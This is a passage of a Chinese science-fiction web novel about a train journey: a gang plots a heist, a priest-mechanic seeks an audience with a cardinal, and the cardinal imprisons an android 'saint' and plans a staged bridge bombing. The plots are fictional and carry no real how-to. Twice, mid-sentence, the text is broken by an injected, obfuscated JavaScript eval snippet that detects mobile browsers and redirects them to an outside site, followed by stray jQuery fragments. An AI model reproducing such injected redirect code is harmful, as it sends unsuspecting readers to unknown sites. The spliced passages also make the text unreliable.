“我能够看到如果我把你带回石岗城可能发生的事情。他们会逮捕你、拿你去做实验、把你拆解成无数个碎片然后试图重新拼装起来,提出数不清的理论和设想,然后在反复实验后制成新的成品;而于此同时,你也会成为生活不如意的人们所羡慕嫉妒的对象,他们会要求我们马上把他们改造成和你一样的仿生人,若不满足他们的需求,就掀起暴乱;你同时也是野心家用以煽动其它人的工具,他们会用你的存在来说服不明真相的人,我们拥有一件强大的武器,我们可以发起战争,夺回失去的土地,乃至于让全世界都匍匐在我们脚下。诸如此类的事情,无穷无尽。 “你确实是圣女。但现在我们不需要你。你不属于我们这个时代。你会带来如此多的改变,让我们失去原本的面貌。你带给我们的东西并不是我们真正想要的东西。你不能给我们心灵的宁静,反而会让我们为得不到的东西鼓噪喧嚣;你不能让我们平等,对身体的改造一旦开始,只会贫者不止贫而且弱,而富者不止富而且强;你也不能让我们保卫自己,新的战争不仅不会让我们得到失去的土地,反而会让远在内陆的人们也一并失去原本拥有的安宁生活。” 周向青想要争辩,但枢机主讲伸手示意她闭嘴。 “但你已经在人们面前展露了你的能力。如果我们是几百年前,或许我们可以竖起一支火刑架,把你当作女巫烧死。但如今,在我们抵达石岗城之前,你所创造的奇迹大概已经传遍了整片国土,就连那垃圾堆中的环运城、无处不在的学院、甚至是米卡的董事会都会知道你的存在。如今我们还能怎么处理你?我不可能放你走。因为我不是我自己。我必须代表他们,而他们不会放你走。如果我放你走了,汹涌的怒火会马上把我掀翻在地,责怪我毁掉了他们的救赎之路。他们会通缉你,无论你逃到天涯海角。 “你不可能有自生自灭的权利,因为你不是一个人,而是一件物,就像你朋友手中的那份文档一样。但我也不能接受你,就像我不能接受你同伴的提议一样。只是我可以放他走,因为别人并不知道他的存在。而如今,你,我,都已经没有这样选择的权利。 “我不能让你走,也不能让你跟这班火车一起抵达石岗城。” 疾驰的火车开始减速。 水安站就在前方。 46.启明号列车04 “是我。看到目标了?怎么样?货呢?哈哈,你还不会是害怕了吧?如果有票了我会第一时间过去。到时候联系。” 关铁震关掉无线通话器,说:“王西凤差点就被发现了。” “哼,他是真的被发现了,还是搞什么小动作引起注意还不知道呢。货在什么地方?”白少俊问。 “他说货很可能在特等座的车厢里,只不过那些骑士看守很严实。” “要我说,真的不如我们在卡比利亚的时候就一拥而上,早就结束了。还非得走什么计划。” “如果按你说的这样走,我们大概当天就得全部坐牢。”郑小楼说。 “但计划了半天,结果我们还不是傻愣愣地蹲在这里,跟坐牢差不多。” “这么说,王西凤给你买无座正是买对了。如果让你坐二等车,怕是你早耐不住直接冲过去了。” “怎么,快刀斩乱麻不好吗?”白少俊一瞪眼。 “不用争了。反正时间绝对是够的。照惯例来说,过了云阳站,二等车就绝对会有空位,在新竹动手正合适。”关铁震道。 “哼。我最不爱等人。你觉得呢,马老爷子?”白少俊问。 “不要着急,不要生气,生气就是给魔鬼留地步,邪气入侵,就妨碍你体内的气血运行……” “你问他才是多此一举。”关铁震说。“不过话说回来,关在这个铁罐头里,的确闷得够呛,而且还不知道车到了哪里。” “火车已经减速了,估计水安马上就到。”郑小楼说。 “啊?你怎么知道?” “减速会有惯性啊。我刚才就觉得背后的力量变大了。”郑小楼是靠在车厢上面的。 减速的感觉越来越明显,就连关铁震也感觉到自己身子开始慢慢前倾了。他忍不住趴在车厢门上,去看另一头的情况。 又过了不知多久,火车停下了。有人开始陆续上车,逐渐开始填满零零散散的空位。 “你就别等了。这一站不太可能有升等机会。” “我知道!你们都说过多少次了。但我就是想看看不行吗?” 白少俊扒在车门窗户上看了半天,最后气急败坏地在门上擂了一拳,沮丧地蹲在地上抱怨道:“连一个下车的都没有!” “我就说了,一般过了云阳才有机会。”关铁震乐了。 姜原冷眼看着这些人吵闹。 他总觉得这些人并不像是专业干这一行的,但他们大概也并非没有本事,因为光是能制定“计划”就已经超过一半的人了。 话说回来,这两天的事情,他自己都算不上是有什么计划。虽然也是局势的发展速度不给他“计划”的机会,他也不掌握能够让他制定计划的信息。他不知道枢机主讲的目的是什么,有多少随行人员,中途有没有改变目的地的规划。 他必须尽可能多知道一些信息。 他必须尽可能早地赶到前面的车厢去。 但如果过了云阳,总共四站就过了两站,他的胜算也就越来越小。到石岗城就是到了对方的心脏,一举一动都在对方眼皮下面,基本就再无机会。 这种“成败并不取决于自己”的体验的确很不好受。 他只希望这次的运气能好一点。 不知过了多久,车门的窗边现出一个人影,是那个列车员。他手里拿着一个小小的话筒,声音从车门上方的喇叭里传了出来。 “可以补两个二等,想升等的把钱准备好,在门口排队,只准排两个人。人多了我不开门。” “我第一个!”白少俊一跃而起。 “不行!你去了肯定会惹麻烦!你不能去!”关铁震一把把他按回原处,说:“还是我去吧,小郑,我们两个一起。” “你和小郑?我懂了。你这是别有用心,当旅游来了。”白少俊道。 郑小楼不满道:“喂,你们吵别把我拉进来。” “这次的信息是西凤拿的,计划也是我们一起定的。我是为了咱们的评级,能把这当旅游?” “那你怎么就带小胡呢?我知道,因为现在他们就一个半人,早就跟计划不一样了——” “那我不去了行吧?让马老爷子和小郑去。”关铁震说。 “他们两个?让老马替你跑腿?老头和小姑娘能干什么——反正不能是这两个人!你这才叫破坏计划!要不,你跟我一起去?敢不敢?”白少俊挑衅道。 关铁震瞪圆了双眼。他那红彤彤的大光头,配上两只铜铃般的眼睛,看起来着实有点吓人。 但姜原倒是很开心。他感觉自己的运气来了。 姜原上前一步,说:“要么我去吧。” “你?”白少俊皱眉道。 “是。我觉得我比较适合。首先,我刚加入,跟谁都不熟悉,没有任何立场。其次,我本来也有自己的事情,也不知道你们到底要干什么,所以我会表现得更自然,更不容易暴露。第三,我不了解你们的底细,就算我被抓了,也说不出什么。第四,现在只能过去两个人,所以也顶多就是情报工作,而我自己也有一点做侦察、渗透的经验。最后,你们还有一个人跟我去,即便我想干什么也有他盯着,比较安全。你们只需要告诉我该干什么就行了。” “听听,小兄弟到底是会说话的人。他和小郑一起去。”关铁震抢先表态。 白少俊老大不乐意。他闹着一场就是想要自己去看看到底是怎么回事,但事情已经这样,关铁震是一口咬死了不让他去,他再争也就没了意思。“好吧。你跟小郑去。小郑你告诉他该干什么,然后……盯他盯紧一点。”白少俊颇为无奈地说。 郑小楼点头答应。马延仙颤巍巍地递过一个小背包,郑小楼接过背在背上,然后和姜原一起排在门前。 车门嘟的一声,打开了。姜原和郑小楼走进两节车厢的衔接区域。车厢并不算是完全密封的,这里能听到外面的呼呼风声,而车厢的挂锁也就隐蔽在软性连接之下。 他们身后的车门关闭,面前的门打开。刚才那个列车员拿着一个小小的印票机,从门边的小隔间里钻了出来。 姜原和郑小楼付过钱后,各自领到一张车票。当然,座位在哪此时已经无关紧要了。他们的目标是到一等车厢去观察一下情况,然后在餐车里待命。 “你们这四大恶人,还真是不太和睦嘛。”姜原道。 “没有。他们两个虽然总是吵架,但实际上却是打小就认识的老交情了。反而是我会觉得自己成了外人。”郑小楼让姜原走在前面,而他自己则从小背包中掏出两块方方正正的东西,趁人不备便扔到车厢门附近的座位下面。他每到一节车厢就这样搞一次。 “那是什么?”姜原问。 “肥皂。”郑小楼亮了一下手里的东西,便马上缩回手去。虽然看上去是肥皂的包装,但里面绝对不是肥皂。 “不是肥皂吧。到底是什么?” “你猜。” “炸弹、毒气弹、烟雾弹、诱饵弹、干扰弹之类的。” “想不到你还挺狠。我们只是抢东西,并不是杀人狂好吧。” “那就是烟雾弹。可以用来触发烟雾报警强行停车。” “没想到你还挺在行。这是马老爷子做的一点发烟材料,外加也有一定的镇静效果,可以缓解旅客的紧张情绪。” 姜原想到刚才那四人的“露一手”。那个老人看来是化学或者药学方面的专家。而眼前的这个青年大概是身手比较敏捷。看来他们也不是随随便便的配置,而是各自负责一个领域。 “做成肥皂的包装,不怕被人当成真的肥皂捡走?” “本来是为了混上车做的伪装。结果没想到突然整个车站戒备起来了,查得太严,我们本来准备更换计划,结果不知道是谁在前面跟检查的吵了起来,然后我们就趁机一起冲了过去。然后也就没机会再改方案了。冒点险就冒点险吧,反正这世界上哪有不冒险的事情。”郑小楼话说得多了,声音反而感觉尖细。 姜原听了郑小楼的回答,心里算是有了点谱。 这伙人要用这东西强行停车,十有八九是为了得手之后撤离。但在荒郊野外,真的跑得掉吗?而且在高速移动的火车上,并不是那么容易约好接应的位置。不过,这手法的确有点像安提赛那伙佣兵了。该不会是他们负责接应吧? 这个什么四大恶人选择在这时行动,很难让人不把他们跟昨晚的事情联系起来。不过,如果昨晚的行动应该不会有安提赛参与。毕竟是跟圣女草这种东西相关。而安提赛又是一个极端反对自动化的组织。但学院那边……学院那边会不会也参与了今天的事情? 姜原在自己的脑子里慢慢搜索。 学院在公司那边是……是谁来着? 想不起来。 “话说,之前我听到你们聊天,似乎你们是公司那边的?”姜原漫不经心地开始试探。 “对。” “我之前跟那边一个叫安提赛的佣兵组织有过合作,你们熟不熟?” 郑小楼答道:“我不熟。关老大似乎跟他们有点关系。这个任务本来也是先委托安提赛的,只不过他们不知道为什么临时退出了行动,然后我们误打误撞才拿到这个机会。” “那你们拿了这批货,是打算卖给谁啊?” “不太清楚。”郑小楼回答。 他们边聊边走,渐渐靠近赛德所在的9号车厢。 9号车厢。 8号座位。 但赛德已经不知所踪。 ### 十几分钟前,有什么沉甸甸的东西撞上了赛德的脑袋。 赛德从酣睡中惊醒,却只见一堵墙一样的浑圆后背正对着自己的脸。刚才撞到他的就是这个玩意。此时他才意识到自己居然已经睡了很久。 火车正稳稳地停在站台边。而刚才撞到他脑袋的,就是刚上车的旅客。 赛德急忙趴上窗户,在站牌上找到了“水安站”三个字。 还好,他只睡了一站地。 但姜原目前还没有来找他。站票乘客要到二等车厢来,必须这里有空位可以补票。但他的四周基本都坐满了人。而水安偏偏是上车人数很多的大站。 如果姜原上车以后过不来,那么在这一站多半还是过不来。而下一站又需要一个小时。 想到这里,赛德决定自己去碰碰运气。一来他自己坐着实在太容易睡着,二来他想看看有没有进特等车的机会。9号车厢到3号并不远,而二等与一等之间没有任何障碍。但一等到特等之间又一道并不轻易打开的门。 他并不希望事情发展到必须使用暴力的情况,所以侦察是一个合理选择。如果有升等的空间,那么他出钱升等也无所谓。 在上车的旅客们各自找好了位置,火车晃晃悠悠开始加速的时候,赛德离开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111420|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他的座位,向前面走去。 5号车厢,餐车。 这是二等车厢与一等车厢交界的地方。卖盒饭的小推车就是从这里出发,走到车尾然后返回。也有不少一等车的旅客正坐在这里,点两个菜,品一杯旅途中的咖啡,听听音乐,还可以不必顾忌邻座的旅客,大声谈天。 所以赛德刚刚推开门的时候,就感受到一股明显的声浪。而服务员看到他,也热情地问他想要买点什么。他只是摇摇手,假装出一副寻找熟人的样子,向餐车的另一侧走去。 但旁边的座位上突然伸出一只手,按在他的腹部,拦住了他的去路。 “你们统修会成立的宗旨到底是什么?”那人问。 “啊?”赛德一愣。 他眼前的男人头发乱糟糟的,穿着一身足有两三个月没洗的商务套装,独自坐在餐桌边。即便伸手拦住了赛德,他的目光仍然留在面前一本打开的书上,也完全没有抬头。赛德根本看不到他的表情。那本书旁摆着一个吃得干净到看不出装过什么的油腻盘子,一双筷子被当作书签夹在书里。看来这个男人可不是一般的邋遢。但偏偏是这么一个邋遢的男人,如此突兀地问出了这个问题。 赛德在那一瞬间以为是自己听错了。“你说什么?” “我说,你们统修会成立的宗旨究竟是什么?”那人手指一挑,把书的封面翻了过来。赛德认出那是他上学时看过的参考书,《人类、机械与精神世界,统合研修会成立史》。 “我想多了解一点你们组织的信条与追求,但这本书里居然什么都没有,几乎通篇都在讲政治。但政治在这里重要吗?几个家族的兴衰,几股势力的斗争,放在纵观人类的视角中,根本无所谓。有什么政治事件造成的影响能与自动化大崩溃相比吗?这些当事人的想法有不受大崩溃影响的吗?但这个作者——徐广麟,比起大崩溃,似乎更在意谁早饭有没有吃,脚有没有洗,似乎肚子撑和脚臭才是决定历史的因素,只有脑壳里那些东西不是。” 那人一股脑地发表完尖刻的评论,然后抬起头,两道锐利目光透过厚厚的眼镜看着赛德。“你是统修会的。正好请你来解答一下我的困惑。问题很简单,不要说复杂了。你们统修会成立的宗旨,究竟是什么?” “统修会成立的目的,是为了通过三元一体,将人类、机械结合起来,实现精神层面的……” “停停停,我不要这打官腔一样的答案。我只想听你的理解。如果我想听人背书——”那人把手里的书随手一丢,正好砸上油乎乎的盘子,盘子和筷子一并叮叮当当地跳起舞来。“——为什么非要问你?” “为了……为了摆脱剥削和压迫,实现人类的平等。” “就你们初代圣座个人来说,或许的确是这样的。这本书上说他曾经是米卡的一个工人,想必受了不少剥削和压迫,也想要平等的对待吧。但无论怎么说,那也只是他的目的,不是他成立统修会的‘宗旨’。一个人总有很多目的。看书、吃炒面、随便拦住一个路人问他问题……只要人活着,就不断有新的目的涌出来。但组织不一样。组织没有性格,没有情绪,它不会哭也不会笑。但组织仍然有它的目的。这种目的并不是捞钱、发展、内斗这种组织存续所需无聊必然且必须的东西,而是其成员在重要历史问题上表达出的一股合力。这是、且必须是历史问题。所以,提问,统修会成立的宗旨是什么?”男人的手指在餐桌上敲击着。 “是……”赛德感到一股强大的压迫力按着他的脑袋。 这压力并不像他面对刘光磊、程光颢、或是朱启儒大主讲时的压力。而像是他回到了统修学校里的学生时代,被讲师随堂叫起来提问的那种压力。他有点烦躁,有点不安,甚至有点恐惧,但这种压力是来自于他思想的幼稚,而非他行为的后果。 “统修会的宗旨是重建大崩溃后失去的,人类与机械融洽相处的秩序!”赛德在说出这句话时,不由得像当年一样并拢双腿,挺直腰板,双手贴上裤线。他自己觉得有点好笑。难道自己是在上历史课吗? “哼,勉强算是沾到了边吧。但问题是,它到底想用怎样一种形式的秩序去填补大崩溃之后的结构空白?某种程度上它模仿了教会的结构设计,但它又并没有像当年的宗教一样强化每个个体与组织之间的习惯与依赖——它甚至都没有模仿告解制度。它只是重新讲述了一个宏大的世界观,但又不能解决每一个人在这个世界观中的地位与命运……” 那人似乎忘记了赛德的存在。他的脑袋渐渐低了下去,似乎不是对着赛德,而是对着赛德袍服上的红色三角自言自语。他一面叨咕着,一面又从盘子里捡回了那本已经沾上炒面油渍的历史书,重新翻开了一页。 “呃……请问您如何称呼?”赛德问。他觉得对方大概是个奇怪的历史学者。 “所以它到底替代的是什么秩序的生态位呢……” “请问,您如何称呼?”赛德又重新说了一遍。 “啊?你叫我干嘛?”对方竟然就像是忘记了刚才的对话一样。 “请问您如何称呼。” “不要用这种无聊的问题打扰我。再见。” 不要打扰你? 赛德又好气又好笑。真不知道是谁在打扰谁。如果不是他现在的确时间还算充裕,他真的想痛骂这个自我中心的家伙一顿。 但他还是忍住了,只是继续向前面的车厢走去。 47.启明号列车05 胖球终于不啄玉明珑的手了。 一方面自然是让娜耐心的引导,但主要的原因还是玉大小姐尝了尝餐车做的几样菜,便嫌味腥了盐重了不新鲜了不好看了,把它们都丢给黑猫,然后打开了自己的零食大袋子。当然,她也拿出来一部分,填饱了胖球的小肚子。 虽然让娜觉得喂人类的食物不太好,但她又觉得,只是偶尔吃一点肉脯奶酪之类,或许影响也不大。何况玉大小姐还带了不少光闻起来就香气扑鼻的坚果和水果。让娜看着那些零食,自己都要流口水了。 玉明珑索性坐在让娜旁边的空座上,满怀热情的想要教胖球学会说自己的名字。但胖球吃饱之后,对于学习的兴趣就并不大,最好的成绩就是把她的名字念成“一应茸”。最后被逼得紧了,便噗地在玉大小姐的手上拉出一泡屎,然后嘎嘎大笑着逃到一边去了。玉大小姐则尖叫起来,把手在空中乱甩。一时间车厢内乱作一团。 赛德就是在这个时候进了3号车厢。 他看到的情况是,一个有长长尾巴的小姑娘高举着一只手,一路尖叫着冲进洗手间;而一个黑色的影子扑啦啦地两排行李架之间撞来撞去,无论它飞到哪里,下面的乘客就哇哇乱叫起来;一个高大的黑衣男子在车厢里蹦来蹦去,试图捉住那只鸟,但他只是让那只鸟更加害怕地躲到了行李的缝隙里;而让娜则站在座位上大声喊:“求求你们,别吓到它了!” 一根不知什么时候脱落的绒羽在空中飘飘摇摇,落到地上。 “怎、怎么回事!”他惊道。 “赛德机师!快、快让他们别叫了,把它吓得应激的话,胖球会受伤的!” “呃……好、好。大家听我说!请镇静!请镇静下来!它只是一只鸟而已,不会怎么样的!” 但没有人听他说什么。乘客们都半蹲着,抬着头,望向自己头上的货架。突然有个男人喊:“在这里!”然后所有人就都望向这边;而忽然又有女人尖叫:“在这里!”而所有人又望向那一边。 “闭嘴!闹什么!” 车厢里突然响起一声暴喝。所有人都同时停下了动作,闭着嘴,望向声音的方向。 跟2号车厢相连的车门不知何时打开了。一个披着紫色罩袍的骑士正站在车门前,他的脸藏在面甲后面,根本看不到他的表情。他戴着头盔的头微微转动,然后像是锁定了什么一样,右手一扬,一道寒光脱手飞出,扎进一侧的行李架。黑猫猛地跃了过去,从那行李架后掏出了胖球。让娜惊呼一声,赶忙跑去查看。胖球闭着眼,胸口一起一伏,似乎是被吓得晕了过去。但实际上它只是一边翅膀的羽根被切断了,鲜血隐隐渗了出来。黑猫迅捷无比地给它上好了药,他大概时从来没有处理过这么小的动物,在缠绷带的时候有点不知所措,但最终还是尽力裹了裹。 骑士冷冷地看着他们忙碌,哼了一声。 黑猫把胖球还给让娜,从行李架上拔出了那柄窄而薄的无锷匕首,在自己的衣服上擦去血迹,又递还给那位骑士。 骑士却不接匕首,而是上上下下打量着黑猫,尤其是黑猫头上那对耳朵。然后语声蛮横地问:“你是什么人?” “玉启烟老太爷的随身侍从。”黑猫说。 听到这个名字,骑士似乎也颇为震动。他在乘客中看了一圈,又问:“那足下是公务?还是私事?” “送玉大小姐上京里去。” “难怪。刚才言语唐突,失礼了。不过,还请管好宠物,不要扰乱视听。” “自然。但我也想请足下不要太小题大做。一只鸟而已,本不该劳动枢机主讲大人近卫队的大驾。” 骑士凌厉的目光从面甲后射向黑猫的脸,他的手慢慢移向腰间。 而黑猫只是面无表情地举着那柄匕首,一动不动。 骑士最终还是抬起另一只手,捏住匕首的柄头,轻轻一转,插回原来的地方。然后扭头走回了原来的车厢。 黑猫目送骑士离开,然后回到了让娜身边。 “谢谢你。”让娜说。 “没什么。大小姐的朋友,就是我的朋友。”他在说这句话的时候,那一双猫耳像是很不自在一样动来动去。 此时玉明珑终于从洗手间里出来,看到一团乱的车厢,不由问道:“怎么了?” “没什么。我们把胖球抓回来了。只是不小心让它受了点伤。”让娜举起八哥让她看。 玉明珑“哦”地应了一声,她看了看胖球,又看了看周围的乘客,眼神有点矛盾,想了想才答道:“那你让它好好休息吧。”她说完那句话,便坐回了自己原来的位置。黑猫对让娜点了点头,然后跟了过去。 赛德趁机坐到了让娜旁边。“那两位到底是什么人啊?一个戴着猫耳朵,一个拖着龙尾巴。” “那个小姑娘叫玉明珑,她管他叫黑猫,但大概是外号吧。他们似乎也是要去石岗城的。” “呵。大小姐出游,闲杂人等回避吗?” “你别那么说啦,他们人挺好的。” “人挺好么?”赛德并不打算跟让娜多解释什么。“但这种人不是应该坐特等席吗?怎么到这里来了?” “嗯……我不知道。但刚才听到他们说话的意思,似乎是特等席那边出了什么事,不让人坐吧。” 不让人坐。难怪紫袍骑士刚才会过来。骑士们大概是在一等和特等的交界处把守。虽然不知道为什么枢机主讲除了自己临时加的两节车厢之外还要占用特等席的车厢,但这也是一个重要的信息。 “我去看看情况。”赛德站起身。紫袍骑士今天早上簇拥着枢机主讲,雄赳赳开进内城的时候,赛德好歹跟他们打过一个照面,他们或许还有印象。 “我也想去。”让娜说。 “你就算了吧。你不是还要照顾胖球吗?” “嗯……好吧。” 赛德走向车厢连接处。他隔着车门上的玻璃窗可以看到,两个紫袍骑士正站在1号和2号车厢的连接处。他们甚至把2号车厢前半截的座位都清空了,只留下后半截车厢还坐着一点人。赛德推开门,向那两个紫袍骑士走去。 骑士的手按上了剑柄。“停下!”其中一人喝道。 赛德停下了脚步。 “你干什么?” “我是卡比利亚的机师,叫赛德,有一条情报交给枢机主讲大人。我们今天早上在大博物院见过面,当时我也参与了早上的会议,你们还记得吗?” 两个骑士对望了一眼。 “你有什么情报?” “事关机密,我不能多说。我请求面见枢机主讲大人。” “大人不见客。你有什么事情,等到了石岗城再说吧!”骑士冷冰冰地回答。 他不愿就此铩羽而归。他不能就此铩羽而归。他必须面见枢机主讲,改变程光颢的主意。姜原来到这趟飞驰向石岗城的火车上,是为了带周向青回到她之前的世界,但他不一样。 他只有一个目的。他需要圣女留在卡比利亚。 圣女必须留在卡比利亚,而不是运到石岗城去,成为一尊远在天边受人香火的冷冰冰的塑像。圣女必须是活生生的,她必须生活在卡比利亚的市民之间,让他们看到她的美丽,感受到她的温暖,并且让他们相信,她就是他们的未来。圣女是卡比利亚的象征,也是卡比利亚的灵魂,是三元一体中融合了所有完美的存在,她就是卡比利亚。 是的。 统修会的目的是重建秩序。 刚才那个奇怪的人提出的奇怪的问题启发了他。统修会只关心秩序,并不关心秩序下的每一个人。 它是圣座俯视他座下广袤领土的眼,是驱使无数人口劳作供养的杖,是曾经征服、现已折刃的剑。但它并不是每一个人所需要的东西。他们需要的是圣女。而他也需要把圣女留在这片土地上。 即便他成功的希望如此微不足道,但也应当一试。 “好吧,我就先说一点。有一伙人在卡比利亚利用骚动混上了火车,意图劫夺圣女。”赛德凑过脸去,低声说道。 “什么?”紫袍骑士一愣。“你、你是听谁说的?” 因为我就是其中一员。“我在他们上车时听到了他们的对话。事关重大,请快点带我去见枢机主讲。” 两名骑士对视一眼,拉开了身后的车门。 “进去吧。你先跟队长打个招呼,但别想轻举妄动!” ### 姜原进到餐车,但仍然没有看到赛德的踪迹。他之前还以为赛德会在餐车等他,但看来是失算了。他准备继续往前走,但被郑小楼拉住了衣服。 “我们在这里等会。”郑小楼坐在餐桌边。 餐车里人并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115886|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不算多,不少人面前放着空杯空盘,有一搭没一搭地聊着闲天。他们也就顺便坐下,装成来用餐的样子。服务员过来问他们要什么,他们只是每人要了一杯饮料。 “在这里等什么?”姜原小声问。 “等车到站。”郑小楼看了看腕表。“离准点到站还有半个小时。在那之前王西凤会假装准备下车,而我们在靠站之后过去,我换他的票,坐他的位置,然后把发烟装置放在一等车厢——这次的烟雾就是有催泪效果的了,可以轻松拿下那两个家伙。王西凤虽然没有完全暴露,但对方可能仍然会怀疑,到行动的时候就更可能失手。” “嗯。行吧。那你们准备怎么行动?需要我干什么?” “到时候由关老大告诉你。放心,你是新来的,所以不会让你干湿活。” 湿活的意思就是需要见血的事情。 “行。但我还是觉得,突然让我加进来有点奇怪。你们也不知道我是做什么的,也不知道我的底细,说不定我还是线人呢。” “关老大的性格就是这样。我和马老爷子也都是他这么找来的。当时我才刚毕业,在街上溜达,然后就看到他像只狗熊一样摇摇晃晃靠上来,说:‘喂,小妹妹,要不要找份活干,可以赚快钱哦。’然后我也就莫名其妙的跟了过去……你那是什么眼神?” “你也太随便了吧。”姜原叹道。 “不是一家人,不进一家门嘛。”郑小楼说完,脸色微微一红。 姜原感觉自己好像隐约知道了一些不该知道的东西。“所以你们都是关老大这么稀里糊涂凑到一起的咯。这一趟的买卖是第几回了?” “我个人来说,第六回吧。关老大的梦想,是做成像安提赛那样的大承包商,但在我看来,他是没戏的。这次的任务也是。我们只能接到报酬又低,风险又高的活。但我还是挺喜欢这种感觉。大概大家也是一样吧。” 姜原点了点头。 看来对方这一组人虽然有点莫名其妙,但也并不是一无是处。他目前只知道这两条信息:对方的目标是在特等座车厢;届时会逼停整列火车。如果是让他自己来指挥这次行动,他会怎么样呢? 一种方案是把火车逼停在预定的空旷位置,下车切断特等车厢与车头之间的连接防止对方逃跑,并把对方的防御力量压制在车厢内歼灭,联系接应人员,运走货物。 但这样可能需要更强的火力来攻破车厢,因为对方完全可以依托车厢进行防守。而他们也并不是必须所有人都通过二等车厢,因为可以在逼停火车后从外部靠近特等车厢。这两点都与姜原看到的情况不合。对方带了行李,但似乎并不是军火;而且对方相当执着于全部人员通过二等车厢之后再开始行动。 另一种方案是把火车逼停在道路分叉的地方,下车切断特等车厢与客车车厢之间的连接,然后劫持车头开上岔道,在另一个地点清理车厢中的敌人,弃车卸货。 这样虽然不急于处理车厢内的敌人,但这样需要找到一个非常合适的地点来做这件事情,最好是一个乡下车站,有一定程度的交通,并且可以不引起太多注意。但这种方案的难点在于需要清楚火车班次安排,以避免在开往这个乡下车站的时候撞上另一列火车,以及熟悉当地的情况。而对方在见面的时候也表明是外地人,并且不像是特别清楚火车班次的样子。 餐车的服务员端来了他们点的饮料。姜原轻轻敲打着桌面,漫不经心地左瞧又瞧,希望能够在脑子里找到一点思路。然后他看到了桌上筷筒旁边,插着一叠薄薄的广告单。 他随手抽出一张,打开一看,里面正好是这列火车途径景点的旅游介绍。水安是一座临水的县城,附近有一座水坝和水电站;云阳靠山,山景秀丽,而且有道观遗址;新竹附近有一座通过汋河上方的上时代超长火车桥,汋河大桥,如今已经修缮完毕,而这列火车由原来绕行壶井的铁路改道,经由大桥直通宜源。 ——过了云阳站,二等车就绝对会有空位,在新竹动手正合适。 这句话好像是那个白少俊说的。 如果他没记错的话,那么对方大概不会是他刚才想到的方法,而是要借用这座大桥了。他们的接应人员完全可以布置在桥下的河道里,而在桥上预先埋伏也是一个可选项。 如果是这样的话,那么他应该怎么利用对方的计划呢? 48.启明号列车06 “我不能让你走,也不能让你跟这班火车一起抵达石岗城。” 周向青抬起头,望向枢机主讲的眼睛。 枢机主讲的眼神是坚定的。他的眼神中没有犹豫和疑惑。他是真的这么认为。他是真的相信他说的话。 “你现在相信这样是对的,但你就不怕将来后悔吗?”周向青问。 枢机主讲摇了摇头。“人总会后悔。但那有什么关系?没有什么东西是永恒不变的。我并不是说我们现在不需要你,就是我们永远不需要你。就像自动化大崩溃一样。自动化大崩溃终结了那个时代的秩序,但它同时酝酿着一个新的开始。无论我们现在作何选择,都只是一种考虑,一种方案,一种对现在的解释。我之前已经说过,如果在三年前,你或许对我们是一种恩赐,因为我们当时还希望通过和平,通过回收旧世界的科技来实现三元一体。但局面已经改变了。曾经拥有权力的人失去了权力,曾经拥有信仰的人失去了信仰。所以应该后悔的人不是我,而是帕西瓦尔。他没有在三年前把你,把那份文档交出来,才导致了现在的局面。所以,我不得不用我们的方法处置你,把你变成一个对我们有好处的,‘圣女’。” 火车的汽笛响了。列车已经进站。 “但我不会配合你的。”周向青说。 她想要站起来,但枢机主讲早在自己旁边的墙上按下一个电钮。钢爪从周向青身下的椅子中弹了出来,就像是没有叶片与触须的圣女草一样紧紧缠住她的身体。她想要用离子刀刃切断这些束缚,但她身下的沙发向后撤去,而镀了反射膜的玻璃板从天而降,组成一根玻璃立柱,将她如标本般封在其中,同时四个喷嘴一同喷出电离胶,将玻璃立柱变成了一个微型的复杂电磁场。 周向青感觉自己对四肢失去了控制。就像人类喝了酒一般,她的思维也失去了重量,软绵绵地飘荡起来。她想要挣扎,但身体却不听使唤。这种奇怪的感觉要比中了电磁脉冲炸弹更难受。 一个紫袍骑士从后面的车厢进来,向枢机主讲鞠了一躬。 “石岗城那边有什么反应?”枢机主讲问道。 “他们仍然在开会。目前传出的消息是6票对4票,一票弃权,两票摇摆。” “那么最好的情况是平手了。朱启儒的年纪还是太大,如果能有一个看得清局势的年轻人——”枢机主讲的话声一顿,像是在想什么人。但他很快从思绪中摆脱了出来。“唉,可惜。如今也只有下下之策了。” “是。卑职也觉得可惜。听他们说,圣女草真的开花了?” “嗯。所以……真的可惜啊。但错过这次机会,不知道情况会变成什么样子。”枢机主讲伸出手,轻轻拍了拍玻璃缸的缸壁。 淡绿色的液体开始注入玻璃缸,周向青在里面漂浮着。她的眼皮还像是困倦的人一样开开合合,但瞳孔已经散开了。 “那我们现在就按计划开始?” “嗯。告诉他们,开始吧。按照数据模型,在汋河大桥上定向爆破,在预计的位置切断车厢挂钩,并且紧急刹车。最好的情况就是把这个车厢炸成两段,让碎片都散落到河里。舆情控制安排好了吗?” “通稿已经写好了四十份,他们只等我们的消息,就马上同时发出去。‘枢机主讲遭遇反对派刺杀,圣女舍命相救不幸遭难’,大致都是这样的内容。” “那就好。一旦新闻传出,舆情扩散出去,各个讲区群情激昂,那么投票的结果就能逆转。调查起码要两个月的时间,如此一来,朱启儒继任圣座就是板上钉钉的事情。虽然老爷子大概也没有几年好活,但能够撑过这一段危机时间,我们大概就有时间改变枢机团的构成,然后利用圣女的研究成果敲定胜势。” 列车缓缓开动起来。 枢机主讲和紫袍骑士均是微微一晃。 “那战争呢?”骑士问道。 